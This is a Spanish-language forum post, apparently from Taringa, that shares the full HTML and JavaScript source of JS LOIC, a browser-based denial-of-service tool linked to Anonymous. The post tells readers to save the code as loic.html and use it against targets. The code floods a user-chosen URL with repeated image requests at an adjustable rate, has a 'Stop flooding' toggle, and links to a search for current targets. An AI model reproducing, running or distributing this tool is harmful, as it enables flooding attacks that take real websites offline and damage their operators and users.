JS LOIC? JSLOIC es una implementación de algunas de las funcionalidades de LOIC realizadas en lenguaje JavaScript, lo cual permite ejecutarlo desde un navegador web sin necesidad de instalar ningún software en el ordenador. Esta implementación realiza test limitados a peticiones HTTP, no permitiendo el envío de paquetes TCP y UDP, ni delegar el control para su uso en modo colectivo.

Para poder usar el loic web sin que lo bajen de los servidores podes copiar el siguiente código html+javascript en el bloc de notas y lo guardas como loic.html y listo lo podes usar.

PERO si tenes el ejecutable para cualquier sistema, usa el ejecutable.

Para enterarte de que se trata todo esto entra a:
http://www.taringa.net/posts/noticias/9360057/T_-_-Peticion-del-grupo-Anonymous-a-la-ONU_-Ayuden-a-Libia.html


<!DOCTYPE HTML>
<html>
<head>
<title>JS LOIC v0.1 PORTABLE</title>
</head>
<body style="background-color:#0A171F; color:#FFFFFF;">

<h1><abbr title="JavaScript">JS</abbr> <abbr title="Low Orbit Ion Cannon">LOIC PORTABLE</abbr></h1>
<h2 style="font-size:15px;">No need to download, install or setup anything - just click the button, sit and enjoy the show.</h2>

<div style="position:absolute; width:100%; height:100%; left: 9px; top: 99px;">

<div style="width:240px; height:100px; position:absolute;left:500px;">
<fieldset style="width:100%; height:100%;">
<legend>Step 1. Select your target:</legend>
<label>URL: <br /> <input id="targetURL" style="width:100%;" /></label>
<small>For current target see: <a href="http://www.google.com.ar/search?q=target+loic&safe=off&prmd=ivns&source=lnms&tbs=mbl:1&oi=mode_link&ct=mode&cd=7&prmdo=1" target="_blank" style="color:#FFF;">Search Twitter</a></small>
</fieldset>
</div>


<div style="width:240px; height:100px; position:absolute; left:780px;">
<fieldset style="width:100%; height:100%;">
<legend>Step 2. Ready?</legend>
<button id="fireButton" style="background-color:#336494; border-color:#FFF; color:#FFF; width:240px; height:70px;">IMMA CHARGING MAH LAZER</button>
</fieldset>
</div>


<div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
<fieldset style="width:100%; height:100%;">
<legend>Optional. Options</legend>
<label>Requests per second: <input style="width:40px;" id="rps" value="10" /></label><br />
<label>Append message: <br /><input style="width:100%;" id="message" value="" /></label>
</fieldset>
</div>

<div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
<fieldset style="width:100%; height:100%;">
<legend>Attack status:</legend>
<dl>
<dt>Requested:</dt>
<dd id="requestedCtr">0</dd>
<dt style="opacity: 0.5">Succeeded:</dt>
<dd style="opacity: 0.5" id="succeededCtr">0</dd>
<dt style="opacity: 0.5">Failed:</dt>
<dd style="opacity: 0.5" id="failedCtr">0</dd>
</dl>
</fieldset>
</div>

<div style="width:840px; height:47px; font-size:14px; position:absolute; top:350px;">
Somos anonymous , somos legion, no perdonamos, no olvidamos, esperanos!<br>
</div>

</div>
<script>
(function () {

var fireInterval;
var isFiring = false;

var requestedCtrNode = document.getElementById("requestedCtr" ) ,
succeededCtrNode = document.getElementById("succeededCtr" ) ,
failedCtrNode = document.getElementById("failedCtr" ) ,
targetURLNode = document.getElementById("targetURL" ) ,
fireButton = document.getElementById("fireButton" ) ,
messageNode = document.getElementById("message" ) ,
rpsNode = document.getElementById("rps" ) ,
timeoutNode = document.getElementById("timeout" ) ;

var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};

var requestsHT = {}; // requests hash table, may come in handy later

var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;

var makeHttpRequest = function () {

if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
return;
};

var rID =Number(new Date());
var img = new Image();
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods

img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};

var onRequest = function (rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};

var onComplete = function (rID) {
delete requestsHT[rID];
};

var onFail = function (rID) {
// failedCtr++;
//failedCtrNode.innerHTML = failedCtr;

succeededCtr++; //Seems like the url will always fail it it isn't an image
succeededCtrNode.innerHTML = succeededCtr;


delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
};

var onSuccess = function (rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};

fireButton.onclick = function () {
if (isFiring) {
clearInterval(fireInterval);

isFiring = false;
this.innerHTML = "IMMA CHARGING MAH LAZER";
} else {
isFiring = true;
this.innerHTML = "Stop flooding";

fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
};

})();
</script>
</body>
</html>